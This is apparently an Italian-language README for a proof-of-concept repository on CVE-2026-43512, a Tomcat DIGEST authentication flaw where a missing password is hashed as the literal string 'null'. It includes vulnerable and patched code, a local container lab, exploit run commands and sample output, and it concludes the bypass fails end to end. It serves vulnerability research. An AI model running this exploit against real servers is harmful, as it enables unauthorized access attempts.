
PoC di sfruttabilità per CVE-2026-43512 (Apache Tomcat Digest Authentication Bypass)
Risultato dell'analisi di sfruttabilità: la causa principale è confermata. Lo sfruttamento end-to-end non è riproducibile contro un deployment standard
UserDatabaseRealm. Vedi Analisi per i dettagli.
CVE-2026-43512 è una vulnerabilità nel meccanismo di autenticazione HTTP DIGEST di Apache Tomcat. Il metodo RealmBase.getDigest() non convalida il valore di ritorno di getPassword(username) prima di costruire l'input hash A1. Quando un nome utente non esiste nel Realm configurato, getPassword() restituisce null, che l'operatore di concatenazione di stringhe di Java converte silenziosamente nella stringa letterale di quattro caratteri "null".
Il server quindi calcola:
A1 = MD5("<username>:<realm>:null")
Un client che invia una risposta DIGEST calcolata con la stringa letterale "null" come password produce un hash identico. Secondo l'avviso, ciò costituisce un bypass dell'autenticazione.
Questo repository contiene un ambiente minimo riproducibile e un proof of concept basato su Go per verificare tale affermazione su un'istanza reale di Tomcat.
| Intervallo affetto | Risolto in |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 | 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
Il percorso di codice vulnerabile in RealmBase.java (tutti i branch interessati):
// RealmBase.java — vulnerable
protected String getDigest(String username, String realmName, String algorithm) {
if (hasMessageDigest(algorithm)) {
return getPassword(username); // returns null for unknown users
}
// null is concatenated as the literal "null" by Java
String a1 = username + ":" + realmName + ":" + getPassword(username);
return HexUtils.toHexString(
ConcurrentMessageDigest.digest(algorithm, a1.getBytes(...))
);
}
La correzione (commit 6565a6c aggiunge un controllo esplicito di null:
// RealmBase.java — patched
protected String getDigest(String username, String realmName, String algorithm) {
String password = getPassword(username);
if (password == null) {
return null;
}
...
}
Eseguendo il PoC contro Tomcat 11.0.0-M1 con logging a livello FINE attivato si ottiene quanto segue:
Digest: 2388e2c78407def640f37f092a8d3a84 ← client
Server digest: 2388e2c78407def640f37f092a8d3a84 ← server
Failed to authenticate user [ghost]
Gli hash digest corrispondono. Il bug in getDigest() è reale e confermato. Tuttavia, l'autenticazione fallisce comunque perché RealmBase.authenticate() ha un secondo controllo indipendente:
// RealmBase.authenticate()
if (serverDigest.equals(clientDigest)) {
return getPrincipal(username); // returns null for non-existent users
}
return null;
In un UserDatabaseRealm standard supportato da tomcat-users.xml, getPrincipal() esegue una ricerca nel database utenti in memoria. Per un nome utente che non esiste in quel database, restituisce null. Il chiamante tratta un Principal null come un fallimento di autenticazione e restituisce un 401.
cve-2026-43512-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (versione affetta)
├── tomcat-users.xml # Configurazione Realm minima — nessun utente "ghost"
├── web.xml
├── exploit/
│ ├── exploit.go # PoC — Go, solo stdlib
│ └── go.mod
└── README.md
| Strumento | Versione | Note |
|---|---|---|
| Podman | ≥ 4.0 | Funziona anche Docker |
| Go | ≥ 1.22 | Solo per eseguire l'exploit localmente |
podman build -t tomcat-cve-2026-43512 .
podman run -d --name tomcat-vuln -p 8080:8080 tomcat-cve-2026-43512
Attendi qualche secondo che Tomcat finisca di avviarsi, poi verifica che sia attivo:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username ghost
Flag disponibili:
| Flag | Predefinito | Descrizione |
|---|---|---|
-target | http://localhost:8080 | URL base di Tomcat |
-path | /protected/ | Percorso della risorsa protetta |
-username | ghost | Nome utente da usare — non deve esistere in tomcat-users.xml |
Per osservare lo stato dell'autenticazione interna, aggiungi un file logging.properties e montalo:
org.apache.catalina.authenticator.level = FINE
org.apache.catalina.realm.level = FINE
podman run -d --name tomcat-vuln -p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:ro \
tomcat-cve-2026-43512
Il log mostrerà direttamente il risultato del confronto del digest, confermando se gli hash corrispondono.
podman stop tomcat-vuln && podman rm tomcat-vuln
============================================================
CVE-2026-43512 — Tomcat DIGEST Auth Bypass PoC
============================================================
Target : http://localhost:8080/protected/secret.html
Username : "ghost" (must NOT exist in tomcat-users.xml)
Password : "null" (literal string)
------------------------------------------------------------
[1] Sending unauthenticated request to obtain DIGEST challenge...
[+] HTTP 401 received — DIGEST challenge:
Digest realm="UserDatabase", qop="auth", nonce="...", opaque="..."
[*] realm="UserDatabase" nonce="..." qop="auth" algorithm="MD5"
[2] Computing DIGEST response with password="null"...
Digest username="ghost", realm="UserDatabase", ...
[3] Sending request with crafted DIGEST credentials...
------------------------------------------------------------
[✗] HTTP 401 — exploit failed.
The UserDatabaseRealm provides a second line of defence:
getPrincipal("ghost") returned null after the digest matched.
============================================================
| Risorsa | Collegamento |
|---|---|
| Avviso di sicurezza Apache Tomcat | https://tomcat.apache.org/security-9.html |
| Commit di correzione | https://github.com/apache/tomcat/commit/6565a6cb6499e56fe2f34457cec99f9d1c4f39e9 |
RealmBase.java (principale) | https://github.com/apache/tomcat/blob/main/java/org/apache/catalina/realm/RealmBase.java |
| RFC 2617 — Autenticazione HTTP Digest | https://datatracker.ietf.org/doc/html/rfc2617 |
| Analisi completa — post sul blog | https://return-zero.dev/posts/cve-2026-43512 |
Questo repository è destinato esclusivamente a scopi educativi e analisi di sfruttabilità locale. Tutti i test sono stati eseguiti su un ambiente container auto-ospitato. Non eseguire questo PoC contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta a testare.